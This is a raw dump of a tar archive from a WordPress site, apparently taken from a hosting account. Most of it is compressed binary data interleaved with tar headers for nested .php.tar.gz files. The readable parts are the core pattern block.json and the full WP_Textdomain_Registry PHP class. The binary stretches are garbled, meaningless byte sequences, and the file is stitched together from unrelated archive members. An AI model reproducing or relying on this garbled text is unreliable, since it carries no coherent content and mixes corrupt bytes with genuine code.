�ڴ~�׬��:�Ν����s��ۨ�U��YD���S^]�l����4K�Q߄V��XW�-��x��ެ�X*y{T�bgw�9x���A27![�RAnByo�;�<����ܘ�7�)���>��K5�!�4�)��Rw��4ߘ��6frw�;ӌN�M�s�wQ6!��Ke 7�����t���?m|��cFǖB%�7�|<��{�/�Ⱦ[ly�i"��}��_�r�=�Γ.���f�p�f�lQx�DL?��ELɳou?#A]�TDD�a���#Mg�+BM��'��s5��56�_O}�Io�0C/�`����Z+)V�yP�q�KWG�h�_��G��[������Wӵ�6���v�zJ==�-��m�F�,<�KH@2�R��O0;�L����x�ȼK7Ә���-�m��L��c{�dw��Wt�]�̡�϶�EbS8�.:��:Upo�}��
��?~l�p����jF���"��|˾3��n!q}ٳ�u�/��Ǫ��|{k�[O{���~�ߙ����Ͽ��?IJ�`14338/namespaced.php.php.tar.gz000064400000001375151024420100012024 0ustar00��U[O�0�9��LBj��&--H�����Jӆ`�˘,��P��l�M������i�>UI�s���w�L��̠�g�d�1C���$G.��)�-�L�_UH��&j-�K!��H�FV���1Z��E���$��'�v�T�b�`��q��0��􆽸?�����ÃC�E��qC���?��	��� S2AH��"�͝�דwg���ЅV��r�Ky[� ��o�٧���ɇ�lr
�0���
� t����.�����TX�D�@�[�2e Qr�R �����Z@�s̕Fc������h��n�)J��Mq<M�rj�n1q>��M��F�풳��@�Ӑ��G����p�
�Qrr�.��~U��QbV�)Ƒ�l�L9���V���U��a�����ƶGu҅p�{,��
�UErU����
�(�:g�P��M�2qBIw��[��%�V>�_`<C���X=*+Ue�k�L�݁��#ܕ���O��M�u���7��T���@��o���	�3�<���(=�3�n8jj_<�d2�[�4%��6����펨
�:0Ss��$.4��)4�fU�2d<��t�4�]��`Ν�7���>{b3�JG�|�}�3�X!\s[��4�ʬ:�^E�#�t5	BN�
^�l[�|��p�Q�M�2�?��ʷy���c�q�Z�@ͳ���O\�\��`������Is_fI�K����3�[��������'�ޡW�Guv����/�����g<��E�0f��14338/navigation-submenu.php.php.tar.gz000064400000006032151024420100013532 0ustar00���r۸u_�@T'�3&e;�mcK�$�m3����i��p!��H���]�{�9HP�d'�e‡D&p�8w0)b4����}�GQ�.��D.�L�<��u)�٬�.����*���hY�ieu,�h�ѥ�*�s��/��B�uP&�7�9���Ç߬?��>xp��7'�N�O�>z|�ޟ~{�;ހ�/<�T���Z���;8����{�>�Օ�|�ƂU"�E��S�`�DE%z�F6���G�|.�ۢ�_�aIx;ڳ$��i3�3^U|Ŗ�J��e\J!a%fi���`R�2x�Y��HL̊\1��S V�L�(YƦ���R3U�֖S���e]^��$>�װ,��{�)8n����.�#����IB3�L%T]Y�b9�-^@ڙ�y�b
Q�a�h4NQya$e�zI-w��_{���%�
�۽l��;�<Dcvy���Ĭ�f2�Lz��y�px�.����[>��^�U(>�Rk�_��w�yfPD�{��1f)��Z��yĀ����Ve1�x����{F,�3P}|�RP+O�kBZG�!WE�:zy��=0%K�5q��W��ݗ]��y\3�I�2�!�gz�àk)|vO��v���'�<ó�e8*lU�r^�:hl�x��p&Dlp�g�!m�!�p�8ۻn"�kZ��	U�~&�Dƌ鳋��E���e)p��w
�0|}����t�F�\^���E���0Q�|2-��`� (�����v!$�*ON�,�<Q��U*�ϊ���1;f'��� z��y��!8P�$�c������լ���L��3�4���bf<�x<���|P&e|yr<b�(|q)|�H�G	����z�[~R��3u��g�+8�i� ��:b�/H������@�_AH7/]����g�p_�e�%�t��D���B*�_�#|��9�0=��0�É�k����N�:pup��vdy&��w�/Ci��x}��ݻ�a^/ EG�[0��^����|��
n�|���6���]��^���<�${��]��+��ؾ��D���S�x�,Iמ�P�*Qu�R1����L��0
Lm;RP=�R�x���A� ��T��?2�m$�LL�=�@���Td�e�(�j�m�Aѭ�q}V�A@����)3�
7h	;RVSK� ?f�e���<�>&A�	;F*h����頱��]�ڔ�`�(_f<`r>�o/�$�l,���_	"u��X�hjpI�@��"R`.�A�d 5�X�v��Пhy�2�5ӐWQ���޷�f��9&�B��6�XH��w���Zyb/=͋��1�|�خ�ʤX��6�ӈ���Nt�Z�q�^�K�����I��C��(Km�X��h �?��n+�޽.٤��*���0�Yd��v��{h
[4Lng�#��^�w�����@!d�9Ռv�hg1����u{c�f��Ti�Ae�[�{�}p���iG/�I��B{{p�v��Ds�pZ�6�.�X.�z[i��xs�ۖ���j<]�YccԄ����m`*t���B2��>�Rr�9�e3Q�g�4�@�"�6 +;����*��x.32�'�i	)�i��jŨ���	{�Q���R�c�A��J�)xZ�{eȳ,T|�Ko�OԂ�?�R�b��N'`��3�ŋ����@T�d Gli�%4�ȣ��L�纞t+^��Z>vP�TP�B��
�.K��/��~�����I=Ⱟ#�:�T��Y�-�l���"��zP�xL�=���zŹP�R8|f���ۛ_:2�T�F��%��y�{��p[�	CS3���I%f-
���h4ɡ��%�����>�i%b��28*�hw��L��X�MM��n�?�K �V��hz8��J�Xs��5fΨ���ԟ�7ԓ���2k]i��C1�2+��X,5)���SB���d)�`	h�s�Du�R��7��~�Z�؟�|��|ԙo5�tߖ:��6i�9@�u<D�2�]]p����~SG��N5�&|��(�:x���u��Ob��Om��rc�W�ܺ�X3��B2�/��݂��]l�ҪA�@��j�F}��bVdY�l
��������*��-b��N�Z�
�H&6����{��э���!��P�k�u68��!�Ijp0���G��]�+�f8���W~�_����c$hq�Ⱦk���h7rn���w�Mf��q�m%��k7�a��YM� B�Ni,�7��DH��<���P�6b�UP
v�`�&�AL!��z�^ۊD�����>��w`V�*��̎��GP5D�f~�L|�2���Bٓ3��Α���V'�7�:Qz>��Q�ZR��*��ƿHq�-�B��C�.�ȓ�"RYd��S�w<���_8�"��б���:?I�]�Bi��zo{���dE	uU�n�!�q�D�i�F"W�S����j�����J<�a��\��=1AJ#�ͦ�jl���{����@��Ȋ�;ڜ�5V�I�
�����u��M���g<��S5�i�L��vq�N�F��m�ϟ���+���Y�B��X�\%n2ڪ��nѫ�
��P��j-�G�D?��2�,�I�5 n�5�*$fЫʲ�EWÆ�\3��,�9�~�d��x�vr��ru��w&P�4���W�P�<�E��:n���=OW��`]n������wS{T=�uo'+�hv��3�����^ˇ;���8�A��Q¶��p��	�B̰�[����a�e����u�61�M����
˪�)T�c��%�&b����Wv
3r�s�2I�/�]ޟ��s8a2�`�>D�Nl��S���:^��T�䁒\��W�a����
�p�X�1�R���ϛF�_8�Hײ���
CH�e�[)t>`8�3vWN���Q�M�=,���E~�L�t����8��"�R�*|.dJe��fw�%x��}���Cگ�
�/�U��4o�����#^j�o���Ϣpq�bZKpu�]Cg/�
a�Bq0~@��_�C,�z���qF�F��
�)��ч׎����9�֏r�M��$#��V����|}�>����0�Rl.14338/pattern.tar000064400000004000151024420100007372 0ustar00block.json000064400000000633151024247460006540 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/pattern",
	"title": "Pattern Placeholder",
	"category": "theme",
	"description": "Show a block pattern.",
	"supports": {
		"html": false,
		"inserter": false,
		"renaming": false,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"textdomain": "default",
	"attributes": {
		"slug": {
			"type": "string"
		}
	}
}
14338/Response.tar.gz000064400000002534151024420100010144 0ustar00��Wmo�6��W\��v'�嗴꺵Ț5_��i�q�1���"�.I95��)J�[�C�
0�x�;>��C
���S"���n4���4:�ap��ia��
��{μӁ�s*G�
Sr����$|�}��0;��D�ݨ����}�����>3,�$��E̲�����^´�Ƈj�{��3�F��
O�������Qhn���R05}B�L�h�d���B=|�X�u����b��u6��,&3݉e�8os'Yu����*�=���Y����QT���(cT�)��)��`FJ���$R@�%t>�G>�Z�
�kG��(�n�_�A��FNr�ݨ��6j��[3ȇQ���� ߞA�eզ�d��@>6j�c�o�Qs�6�@�����e���"7|�u�Vg��7�k��F��4?��c��E�+��ew�Agܰ����~��-�ru~1�V`C����Q�Ft�)���.���R����/1�m�g��Ą%��R
��Yi}�t\���
��όT���;��M	�Š�k�2q�Zٲ�lт�!�A���섛<	?C��B#B�J�|�(���%4[{tQ�U��&SBm��l<��� i�>�-O�o��X���.觭y
�܌hR���0F��n��S�r"y2M����.�sҐ�)�"M#وϙ4�4�����Bh����=)�8��B5P,����`�	�7�X�ns����W'��{�px�o"K_�<	kԨl��ӄ�0Ȅ���R5쑭�@��O�b�T>�U���32��J�gdqQ�K��Zۥ-`ۿ��=�v��|�6��տ�n�����U�Ǻ�;��7��-�P
VV�8�r�����z���
���uJO�0�Rc�-��
��^P2=��HG�E���.�U��s��G��	ϡL�V=<�cܶά@��
siU�P�̫:_��b��|�\h�ʼn�ɱY`�#F=�w��@�Z��}2��t����g��#J������b��h��-��g8ݹ�O�b����}ͅY�xN��\�(VH�Zk���%�W&Z��(3��?�b7KϜ���sY�M��mL��QY�=)&��La���^��D��'��T�'�[̟JU:��ij�������[�K������'H�?��-����-��=�Q����a��3��g�k\J��\��yM�V�WK�-ݿ���c��.�,�}�U*�.w�s��Y".S���P	R�)�(UQ.
�d�B�-��͋�U ���dFY
Y�
Y��Cz/�n����"SX�rl�~��h�
;ۧu8qO��v՟����܌�،�،���9�Q"14338/class-wp-textdomain-registry.php.tar000064400000030000151024420100014253 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/class-wp-textdomain-registry.php000064400000024361151024212700027636 0ustar00<?php
/**
 * Locale API: WP_Textdomain_Registry class.
 *
 * This file uses rtrim() instead of untrailingslashit() and trailingslashit()
 * to avoid formatting.php dependency.
 *
 * @package WordPress
 * @subpackage i18n
 * @since 6.1.0
 */

/**
 * Core class used for registering text domains.
 *
 * @since 6.1.0
 */
#[AllowDynamicProperties]
class WP_Textdomain_Registry {
	/**
	 * List of domains and all their language directory paths for each locale.
	 *
	 * @since 6.1.0
	 *
	 * @var array
	 */
	protected $all = array();

	/**
	 * List of domains and their language directory path for the current (most recent) locale.
	 *
	 * @since 6.1.0
	 *
	 * @var array
	 */
	protected $current = array();

	/**
	 * List of domains and their custom language directory paths.
	 *
	 * @see load_plugin_textdomain()
	 * @see load_theme_textdomain()
	 *
	 * @since 6.1.0
	 *
	 * @var array
	 */
	protected $custom_paths = array();

	/**
	 * Holds a cached list of available .mo files to improve performance.
	 *
	 * @since 6.1.0
	 * @since 6.5.0 This property is no longer used.
	 *
	 * @var array
	 *
	 * @deprecated
	 */
	protected $cached_mo_files = array();

	/**
	 * Holds a cached list of domains with translations to improve performance.
	 *
	 * @since 6.2.0
	 *
	 * @var string[]
	 */
	protected $domains_with_translations = array();

	/**
	 * Initializes the registry.
	 *
	 * Hooks into the {@see 'upgrader_process_complete'} filter
	 * to invalidate MO files caches.
	 *
	 * @since 6.5.0
	 */
	public function init() {
		add_action( 'upgrader_process_complete', array( $this, 'invalidate_mo_files_cache' ), 10, 2 );
	}

	/**
	 * Returns the languages directory path for a specific domain and locale.
	 *
	 * @since 6.1.0
	 *
	 * @param string $domain Text domain.
	 * @param string $locale Locale.
	 *
	 * @return string|false Languages directory path or false if there is none available.
	 */
	public function get( $domain, $locale ) {
		$path = $this->all[ $domain ][ $locale ] ?? $this->get_path_from_lang_dir( $domain, $locale );

		/**
		 * Filters the determined languages directory path for a specific domain and locale.
		 *
		 * @since 6.6.0
		 *
		 * @param string|false $path   Languages directory path for the given domain and locale.
		 * @param string       $domain Text domain.
		 * @param string       $locale Locale.
		 */
		return apply_filters( 'lang_dir_for_domain', $path, $domain, $locale );
	}

	/**
	 * Determines whether any MO file paths are available for the domain.
	 *
	 * This is the case if a path has been set for the current locale,
	 * or if there is no information stored yet, in which case
	 * {@see _load_textdomain_just_in_time()} will fetch the information first.
	 *
	 * @since 6.1.0
	 *
	 * @param string $domain Text domain.
	 * @return bool Whether any MO file paths are available for the domain.
	 */
	public function has( $domain ) {
		return (
			isset( $this->current[ $domain ] ) ||
			empty( $this->all[ $domain ] ) ||
			in_array( $domain, $this->domains_with_translations, true )
		);
	}

	/**
	 * Sets the language directory path for a specific domain and locale.
	 *
	 * Also sets the 'current' property for direct access
	 * to the path for the current (most recent) locale.
	 *
	 * @since 6.1.0
	 *
	 * @param string       $domain Text domain.
	 * @param string       $locale Locale.
	 * @param string|false $path   Language directory path or false if there is none available.
	 */
	public function set( $domain, $locale, $path ) {
		$this->all[ $domain ][ $locale ] = $path ? rtrim( $path, '/' ) . '/' : false;
		$this->current[ $domain ]        = $this->all[ $domain ][ $locale ];
	}

	/**
	 * Sets the custom path to the plugin's/theme's languages directory.
	 *
	 * Used by {@see load_plugin_textdomain()} and {@see load_theme_textdomain()}.
	 *
	 * @since 6.1.0
	 *
	 * @param string $domain Text domain.
	 * @param string $path   Language directory path.
	 */
	public function set_custom_path( $domain, $path ) {
		// If just-in-time loading was triggered before, reset the entry so it can be tried again.

		if ( isset( $this->all[ $domain ] ) ) {
			$this->all[ $domain ] = array_filter( $this->all[ $domain ] );
		}

		if ( empty( $this->current[ $domain ] ) ) {
			unset( $this->current[ $domain ] );
		}

		$this->custom_paths[ $domain ] = rtrim( $path, '/' );
	}

	/**
	 * Retrieves translation files from the specified path.
	 *
	 * Allows early retrieval through the {@see 'pre_get_mo_files_from_path'} filter to optimize
	 * performance, especially in directories with many files.
	 *
	 * @since 6.5.0
	 *
	 * @param string $path The directory path to search for translation files.
	 * @return array Array of translation file paths. Can contain .mo and .l10n.php files.
	 */
	public function get_language_files_from_path( $path ) {
		$path = rtrim( $path, '/' ) . '/';

		/**
		 * Filters the translation files retrieved from a specified path before the actual lookup.
		 *
		 * Returning a non-null value from the filter will effectively short-circuit
		 * the MO files lookup, returning that value instead.
		 *
		 * This can be useful in situations where the directory contains a large number of files
		 * and the default glob() function becomes expensive in terms of performance.
		 *
		 * @since 6.5.0
		 *
		 * @param null|array $files List of translation files. Default null.
		 * @param string     $path  The path from which translation files are being fetched.
		 */
		$files = apply_filters( 'pre_get_language_files_from_path', null, $path );

		if ( null !== $files ) {
			return $files;
		}

		$cache_key = md5( $path );
		$files     = wp_cache_get( $cache_key, 'translation_files' );

		if ( false === $files ) {
			$files = glob( $path . '*.mo' );
			if ( false === $files ) {
				$files = array();
			}

			$php_files = glob( $path . '*.l10n.php' );
			if ( is_array( $php_files ) ) {
				$files = array_merge( $files, $php_files );
			}

			wp_cache_set( $cache_key, $files, 'translation_files', HOUR_IN_SECONDS );
		}

		return $files;
	}

	/**
	 * Invalidate the cache for .mo files.
	 *
	 * This function deletes the cache entries related to .mo files when triggered
	 * by specific actions, such as the completion of an upgrade process.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Upgrader $upgrader   Unused. WP_Upgrader instance. In other contexts this might be a
	 *                                Theme_Upgrader, Plugin_Upgrader, Core_Upgrade, or Language_Pack_Upgrader instance.
	 * @param array       $hook_extra {
	 *     Array of bulk item update data.
	 *
	 *     @type string $action       Type of action. Default 'update'.
	 *     @type string $type         Type of update process. Accepts 'plugin', 'theme', 'translation', or 'core'.
	 *     @type bool   $bulk         Whether the update process is a bulk update. Default true.
	 *     @type array  $plugins      Array of the basename paths of the plugins' main files.
	 *     @type array  $themes       The theme slugs.
	 *     @type array  $translations {
	 *         Array of translations update data.
	 *
	 *         @type string $language The locale the translation is for.
	 *         @type string $type     Type of translation. Accepts 'plugin', 'theme', or 'core'.
	 *         @type string $slug     Text domain the translation is for. The slug of a theme/plugin or
	 *                                'default' for core translations.
	 *         @type string $version  The version of a theme, plugin, or core.
	 *     }
	 * }
	 */
	public function invalidate_mo_files_cache( $upgrader, $hook_extra ) {
		if (
			! isset( $hook_extra['type'] ) ||
			'translation' !== $hook_extra['type'] ||
			array() === $hook_extra['translations']
		) {
			return;
		}

		$translation_types = array_unique( wp_list_pluck( $hook_extra['translations'], 'type' ) );

		foreach ( $translation_types as $type ) {
			switch ( $type ) {
				case 'plugin':
					wp_cache_delete( md5( WP_LANG_DIR . '/plugins/' ), 'translation_files' );
					break;
				case 'theme':
					wp_cache_delete( md5( WP_LANG_DIR . '/themes/' ), 'translation_files' );
					break;
				default:
					wp_cache_delete( md5( WP_LANG_DIR . '/' ), 'translation_files' );
					break;
			}
		}
	}

	/**
	 * Returns possible language directory paths for a given text domain.
	 *
	 * @since 6.2.0
	 *
	 * @param string $domain Text domain.
	 * @return string[] Array of language directory paths.
	 */
	private function get_paths_for_domain( $domain ) {
		$locations = array(
			WP_LANG_DIR . '/plugins',
			WP_LANG_DIR . '/themes',
		);

		if ( isset( $this->custom_paths[ $domain ] ) ) {
			$locations[] = $this->custom_paths[ $domain ];
		}

		return $locations;
	}

	/**
	 * Gets the path to the language directory for the current domain and locale.
	 *
	 * Checks the plugins and themes language directories as well as any
	 * custom directory set via {@see load_plugin_textdomain()} or {@see load_theme_textdomain()}.
	 *
	 * @since 6.1.0
	 *
	 * @see _get_path_to_translation_from_lang_dir()
	 *
	 * @param string $domain Text domain.
	 * @param string $locale Locale.
	 * @return string|false Language directory path or false if there is none available.
	 */
	private function get_path_from_lang_dir( $domain, $locale ) {
		$locations = $this->get_paths_for_domain( $domain );

		$found_location = false;

		foreach ( $locations as $location ) {
			$files = $this->get_language_files_from_path( $location );

			$mo_path  = "$location/$domain-$locale.mo";
			$php_path = "$location/$domain-$locale.l10n.php";

			foreach ( $files as $file_path ) {
				if (
					! in_array( $domain, $this->domains_with_translations, true ) &&
					str_starts_with( str_replace( "$location/", '', $file_path ), "$domain-" )
				) {
					$this->domains_with_translations[] = $domain;
				}

				if ( $file_path === $mo_path || $file_path === $php_path ) {
					$found_location = rtrim( $location, '/' ) . '/';
					break 2;
				}
			}
		}

		if ( $found_location ) {
			$this->set( $domain, $locale, $found_location );

			return $found_location;
		}

		/*
		 * If no path is found for the given locale and a custom path has been set
		 * using load_plugin_textdomain/load_theme_textdomain, use that one.
		 */
		if ( isset( $this->custom_paths[ $domain ] ) ) {
			$fallback_location = rtrim( $this->custom_paths[ $domain ], '/' ) . '/';
			$this->set( $domain, $locale, $fallback_location );
			return $fallback_location;
		}

		$this->set( $domain, $locale, false );

		return false;
	}
}
14338/getid3.lib.php.lib.php.tar.gz000064400000030604151024420100012412 0ustar00��}�zɒ��HhJݍ��`8�nπa��OϺ=�����)U�T�|��9��Iv_l#"�u�es��}`�*32222n�9�g�=Nxz6�{�&���C�a�(�&�y����0^D�ek����f
�ň�탗��	ς�z+��t�/�O>��>�t7z��޿t7����^ws�<�=|��N��,��O�ɯ�֟�������O� ��P���%�W8��ȃ(	�S�$���_%����)s?�1��Br�gl�e�t�ݞ�t1 �#�
h[��B0�8����[�mV񩂀(��i�H�|0x+������Śl�'�dž�WA`)�,�h�[�E�g6��F<�W��I�h���kwF|D|T�~�;���_<������o��:�w��2���{��W��ܾP�����u6{]z}KԮj����7{���y����Ã�̣o^��}q\|��G�Ô���폷oC?M%��mnC[�o�b��_�y�K���5��~=��P��ڔ_T�K��E����4��<�#	_Lx�H"f�m߾5_�`����0∽�"ُ��e�ӚĴA8�dɂ7
�����~s�C�&��=�a��S�����c� ZA�Uǧ�>Pږ?s0[;X�?�G�B�Z������^o�^�yۣ�w���/�����-nٌQ�c^�6O��?��v���_/z����N���`v;��m3�oO���!W�hPW�X��ͳ˚C�C����a8,�	�-���D�'�DK��κ��[�M�f/e�)#6�Oع�7�q�{�e�dd��`V���Oo���r�C�Bp�S�z4�̄:N=���l��Ѥ9��mY��
MP^�
`�`懌޵�lӆ��5�#������%:�׀��8MГ
CK�ylD���gW����F�P�PZOQHJyk-��w;�T��`����XOvXs	�!�*X��:�-&My8����~����
����HԠv��_乢��f9��C�A��I��L�`D'|�Zwd���c��{���q�k�5HS��t1M��=رjH��J���E����e�w���f��A�^]Y2��3&H�t<�3�h]�.Pup��L1(=�킑��e�s��D��KfM=��r�������D"�䆐
J�V򱆤��u�q@$d�M���v__��Z�]q���|�Zٸ]ͥ%=qFmʇP�Ox,�͇�A�$��֦~zpx��z���W�x�Q�t;l��:���E�Ƿ�:�
^@˵y|^�ޭ�I1���7��PGf���J5�j��h`�c��o��@Y����g�l�ꟻ�ԝ�!.%
�Q,�$a��>*P��V#���[B|ŋ�֋�úBם�6��}9Vy�0�f0qF�Y���7�d�'�����&կ�=��'q�B��؍'~'�G<�gA��`��r}��m�@���j���dÀGM$(�&�Um2
���w�H�����8�	�r�`yO^
$���K(5
O�iV�Qc�_��x|�bU��1vOky2�=�֗wy%�K�	n������jy��K0�3诐�P� �U��No�5���B� �sm���<��C�J^)P+��*4���t��q�h�Ѣ���a������n�9��$�Fm�tm��s�N
�أ9�em�_�JC�'��|HAB/�Ay�
Պ�6t#;=c���yK�{-�NJ�D��o
�贼V�M�v-�?霢B�v����L)��vR��4��V���ׅ�P��������wn�[ve�;�f�xP�%@{h�_]h���0��\�eC��E�֚��R�w1%Cp�k �8+�\�t���s�Uꕸaa	������ݟ�û�~<�EMΚ�	8�v��RY��K���|ad�gh2�(vDb�'ċT5����p�����n���]2z���2W�i�G���p�}l,e�2�=��!P�B�b�������;��v�aG���A������CШS�ƭ[gO4�h�T���zħ�&[;� ��1�a5��KVN���&M�:K�
�OeЀs�D�guu��R�(ã��Va�#*o�EC@��f����*i��Sp�S�g���w���RYkK
��޺x>_�=�����r0�n9��^�D�"�����;�y���[ki0A�B���ۮ�9ψ@�?f��Z'��UbŲ��ԏ��FZY�`���K0T\��z'F"����u{�p]����كv��y�P"ÊO�r�簩
U;̃Vz����qNBmـ*��ʴ��E��������r�[���x��lba[
i1^�\f�<NF��&�� �B.��|	���e���YU�������Q�G#�٣����[
�>I��#6g�I�Mgp6}��P���'�ip�q�{�n�����n�z�Ͷ%i�鐄�G�τ�4g�~��s����$h�?\�$q�ܣ���Enؐ������i���*huG�p�,:�m�-U�Lc8)���������ݸ϶�����lu�U�s�C��������=d號����6N)el�`�ɇ�����l/!-�Gmg#�aN#"|�
�+�sU�p�t���i=��%�5��z��Ѫ#'�\LI�l�o��ۣؽ��	�4J�b�a��g0�o$�((K/V�z���($�|�տUfEa��r8��i�\�}@p�������Z,] �5���ˬ�����+0���"�el'?����n����X�.a����~Ix�)��,���y��:Wa��\�ܐO9@�ؾ��,k�Q#iq��(Ԛ]�z�c�����_w��H!3{�ޛ�߱,������銎Ժ�[��+(�,J�����˟YK/��WnK_��h���Qc���f�$>O��Ő���*6-�*B;���ر�kB�YV���p\�B��9�7���bN�]�����K~� M����G�����~��K�����JK��������?ւ�0yY���~�=yB�Z�G�a�Y�X8��
6Xd,Y�l��͓x�Y����
"�A����%T��ҐP�`d�AF��(d�9����ᗀ�`76+��L=�����OgT�|ӏ�bS�ˇ�XSp�X��o�eˣ�����.Vy��ܹ���m����.��5
�1�1QlvG�dר9�Z�?�MS�E���Қ���ݛw��!����Y�
�d���u�!@�k�l��*�;�0��H��u�^&�DQ+�Bu�.��يsAjdT������5��:��ģ�n��2���>��ij�kU>n�f��?���!�M�B��(�`���TvR�ZN6Z�\�X�\��T9�^�«��N����V!a�@*�鮨�I��t<���	���[��b.r�R���'>*[���z&�?Q��b"���qUSM?���ۆ?���E
�����kl;@с=-U_Z�[E&;�v�,!�o�Jr:K�Dػ��r�Gճ��/�,^�~�����~r:�&5J��M�ѩ��ŭA��-�ۥ|��<T��Էط��z���-N�%yhe���9p�x��ޡ�O��~i,�w���4����{�YI0��$�xǗs��_�5�m��L�Mɾ�2��lf�f��k���!�2-�M`�E ��?��[4�=��!XkG.�97Ellj���ONu�`��0*�$��yNl_�y�)��f��f�&P����/V��O~��e�P/�F�j����q��&�J=zU�*oWK�y�Ʃ�L;%ڧ4w��rS��JC�*�a2���+q���l��.���ʅ�i��E��`�6(l���܎�Y�GC�w�i�;	F*i�����k�N^��me��}�Ipub���i��z�A�f�4�h�'���4�u��N�6[�߮G���+�NЁ��Fh`LjV�	�D�1�fQ
��O�Za�0�� d`�O�es|��\ˎ3���-��IP�h�_C0?Z8���H��*�Qy�jp���p[�>�,��T2ij��v��\��E�<wq��
�A-Ox��WM��P�|<O`�9e;���5
@q
�0�.�!�P�'��^��O總�=��y�V���&a�L�p���$K��ږJ^�E������X���T
�Wq�A��=�$�r��A�=�w��=(
�	V<�oT��K;�s�jR:nن@���0�`s�<�E�r���;�e�bI�2t�[�Ø���-�q��|�8�;�������A*�H���{DF@��9��"�y��
��j����JW@=/
��(�KZ�j-��]�͍R��8��^�{�������T��$�p�r����)���)iYF��]z�
*8�e	н���)�UI�W�>@� j��F����mi�Zy�k��To-X=��x<�S�JY��A�qU��*�=�0�����v��T�܆��߯%�ٛ3���vt����C@��2)���f��6�/�`ƕm,aYީ��"z��yM7��0�~���ڣ%V+H�ȏ:� ��'Y���NGx�`Pj�C?�G�h�:�s46%�#
@ �*��M��Z����&�t�oyے�6�_W�<�U��k�~K�9�:���q38�k�b��%�}�{?E�EM�4���tʐA��l�qiA�4���u:۝Δ�+Z��%y��w��?�bפ���u���EL��l��>��D&�9T�o��m
J���o���׼��i@1��@�3�V�&c"mٺj�t����n~Zg{7�lOTӝ�n~����\g��:+�,U5�#�)�f"�XWgY-�ݱ���q*�C��[?���<�;�{W��?�n�Ya���2���0t4

�ņlAK?E���ǘ��d�"�9@�e�nDZ�|�^˶��=��-f�e�C��g0yu�d�J����y�r���v��_Y�=�@��\3PHT�D�:=A �?�F��$դ)�B�Y�"{GC�G��5_Ӊ?�����W	w-�vl:pO+Z��>����(�Dؠ	U�d��F\$ r�+ʎ��X�!�%3�p�<p��r]�r�����v\'��T�]�t��f?��t��q����a�5��[\���K��kjM_� <���k'�"��$km[m�ᣆ"}�Q3�֨�5�n�=a��=j�ܨ	��;j�ֶ��r����Wk-+��DO�EC3Τ*��A��5/
f�_��>��Q_�g�ʆ�����ӁU�T�'^n�Yl�˵Ĵ���j��ߢ��S���5����ǷrC��v=vhe�?la�<�iJ�x�S<3ܽv�G[��1�r4
�x��q���a��ĶZx5�)��1�%��c���$�C&�ưk8.A*��]a�\��Ih=͂0-�G�|
�;�A	hs�"�-h���e4�ѱd�{@��7>$�l̬�~DE��^H��R/=�OB�L�4���Em����r�e'��}�PNNg��"ߍbH�K�5���G���R��tϜט<j�y�����':Tm�
}���q�� H&<�8��$u��5bĨn�J���8uu̎p۔P@r��<��N�I3Z�)&��[y�T���b�]�pVy4�/
��ٱ��8�����e��p�~ŠpPI"�<����i�G�&�r:f� ��U�U���F:*�@7��>m���N���OO2�g��ռ�^8
���N��j]eՉ���blSu�����h�s)�x�@ԅB�=<��(���PSAdV'�D!j�,6�
���3�\�c�`C�긽��no�e��O��{�D���b��b�є���r	���\s���Iu`~kH�D��a�r���VLUV]�ř�K���[��ԁ���.�g��7��)ZPZ�������gB;��3���Q���+<�x~��z�$��i��uٞx�C��7�Vu��E�������bAF���2��^K�V����h����V�a���\��f�T��r1��B��B%>.��O��;���,���Q$cI%A]�ܪ",N5��13���5*�.��,�1�$�������C��O�����m�TV�]o�l7.�DM%Fl��)�E@��� e�k�0�,)v�Z"��Ppr����Z�mU��G�~��,8:�W�8Hu��ᜄ�yޱ��+7��v���,�7J$��W�Ao�D3��
h�<h���+�[$��n�&�A�}u<��_d㭚j��'�v{[�m���\��bN�e@9x��C`�+@2���m�<�c�7�Wf�����:�|�䵾/�lu�����Xߴ��i���h�'�[���9��x���Жhh�RDX�C�����S;g��inmm|��B�iW���yŃ��4�ެLcD�+��N��N�*?��
PTY����bo�׋����]E��ޮI.�;�f�FT1R�l�J�|ژu7��)���9�_d��ߍG�b�s�e�ߧ��?��_h�q>�X�o����`��o^ׯ��Ko������B�vIc�Lg�|�P(i<ݞU�N.sIVށ����W��9ul�������r�G�G��d`������ۈ�Lv�r<6��	�{�c��[Y��ꭋM���W����C@ջUUiݪ$L�n�=|l܀�ȹ/ɹ��s�xM*^�y*�D��2j��N����K�%����нFg��:�[�3�Tgٝ���J�F�)4ߵ�70ig�3&��4�q�>�F):����MyŸ��Ѳ&�(���K�%���\����av۳���j-��p����W4��	�oB����&�B^F��U����b�"�}�z}F|������o:@뀙�M����{�]%�_�>��Z�'#�W�:�뉪��5�X	�BƉ�[��d�B�� ��:
��)4���0z挐rոRd��fqM`پ���1�4�~�a
o4���3k��?�Ȋ	����4k��Mg�u�N7��_}���s�ˍ�� ��q�Z���d�:j��Y:��0H\�Q�|��Ռ�[W6�Ќ5N+
��ԡ%�5�e�diW�G��Aԧ���Ū��"[������n�kv
��U��)L�=[�s4]D�6��٠/���ku�A蛫���J�9�>�Y���qˈAO�(&�'o�+Uw\����$ˁ,`�Y��T�cv�{{��ԏF!��Qqo���pO������M���yϓ����4�A�>��� �U�WUr��m�SH�S�6ɹ�$quR� �,tHq�1BK��@'�Q%�N�l���8g�/9D8�$W��pU_e�N���,u�\q.�|<�/�mk)�$�hr��:Ng��t����4����bF�$��A#>3��;s���j�Xiy���ãWǞ�1�u�)-FE<܈��%:t�aN1]P����	�a�	��	O��T
xwE��A������|��j�f�l�]2�9]�@ﰋ8`��j>)��	�݂�EX)�D<�;�˦��);	0m&Q�Կ�"l_2˫���s�����(���'�x��HIt*.��g
p
� 
O������8���@~�
��*Ȓ�n�$v�VkQ�-�
ys0��W¼��9��V��Y����B�����Z��[i��;�ö��\��o5��}�2��k�|e|�fo��W�D�MvzRe��.���鳵����v�P�ǥ�kp���7wԗ;��Q�+4��G��~_�e�����mda_��l-��r�,����.�e��>;�"̂���p���ׯjk�l�Ȏͪ&T�z>pT槮�D�	6{�m�r=m�uյ��{�	����r&�x��vMU�b3���u
